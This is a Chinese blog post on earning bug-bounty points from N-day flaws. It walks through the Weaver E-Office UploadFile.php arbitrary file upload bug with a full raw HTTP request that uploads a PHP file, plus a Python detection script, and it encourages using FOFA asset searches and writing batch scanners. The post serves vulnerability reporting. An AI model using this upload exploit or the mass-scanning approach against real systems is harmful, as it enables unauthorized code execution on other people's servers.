了解漏洞盒子公益SRC
当时也是打比赛打累了,刚好那周的周末没有比赛,然后就想了解一下漏洞盒子的漏洞提交机制以及都可以提交什么类型的漏洞。里面有很多的企业SRC但是以我弱弱的能力肯定也挖不到,就想先用Nday打几个公益SRC。
漏洞文库
我经常用的漏洞文库是PeiQi文库
有很多类型的漏洞
第一次利用Nday(漏洞复现)
我第一次打的是泛微OA E-Office UploadFile.php 任意文件上传漏洞
通过POST方式上传文件
POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348
Content-Length: 193
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg
<?php phpinfo();?>
--e64bdf16c554bbc109cecef6451c26a4--
上传成功的话会出现以下页面
然后我们访问
url/images/logo/logo-eoffice.php
就会成功访问phpinfo
说明漏洞存在并可以利用
资产收集
我常用的是fofa和hunter
在PeiQi文库这个地方有网络测绘,直接复制搜索
以fofa举例
收集完资产后可以对资产进行检测是否存在漏洞
漏洞检测
如果我们通过一个一个复现的方法显然太慢,所以可以下脚本批量检测,这里我贴一个脚本检测的,但不是批量的,批量检测大家可以试着自己写写
首先就是要通过python的requests模块可以先把BP的post包copy为
然后通过写脚本观察返回包是否含有logo-eoffice.php,来判断是否存在漏洞
#!/usr/bin/env python3
#_*_ coding:utf-8 _*_
import requests
def efff(url):
try:
burp0_url ="http://"+url+"/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId="
burp0_cookies = {"LOGIN_LANG": "cn", "PHPSESSID": "0acfd0a2a7858aa1b4110eca1404d348"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Accept-Encoding": "gzip, deflate", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Connection": "close", "Accept-Language": "zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6", "Content-Type": "multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4"}
burp0_data = "--e64bdf16c554bbc109cecef6451c26a4\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"test.php\"\r\nContent-Type: image/jpeg\r\n\r\n<?php phpinfo();?>\r\n\r\n--e64bdf16c554bbc109cecef6451c26a4--\r\n"
cd=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,timeout=10,verify=False)
if 'logo-eoffice.php' in cd.text:
print('存在漏洞')
except:
pass
url='127.0.0.1'
efff(url)
如果可以上传logo-eoffice.php,在通过是否能访问phpinfo判断漏洞是否可以利用
漏洞报告
在写漏洞盒子的漏洞报告时,我的建议是尽量写详细点,像漏洞描述、漏洞修复建议写详细点,到时候评报告质量,相同的漏洞报告质量越高到时候得到的积分可能就越多
挖洞建议
有的时候挖到漏洞不要尝试深度利用,能够证明漏洞存在就行。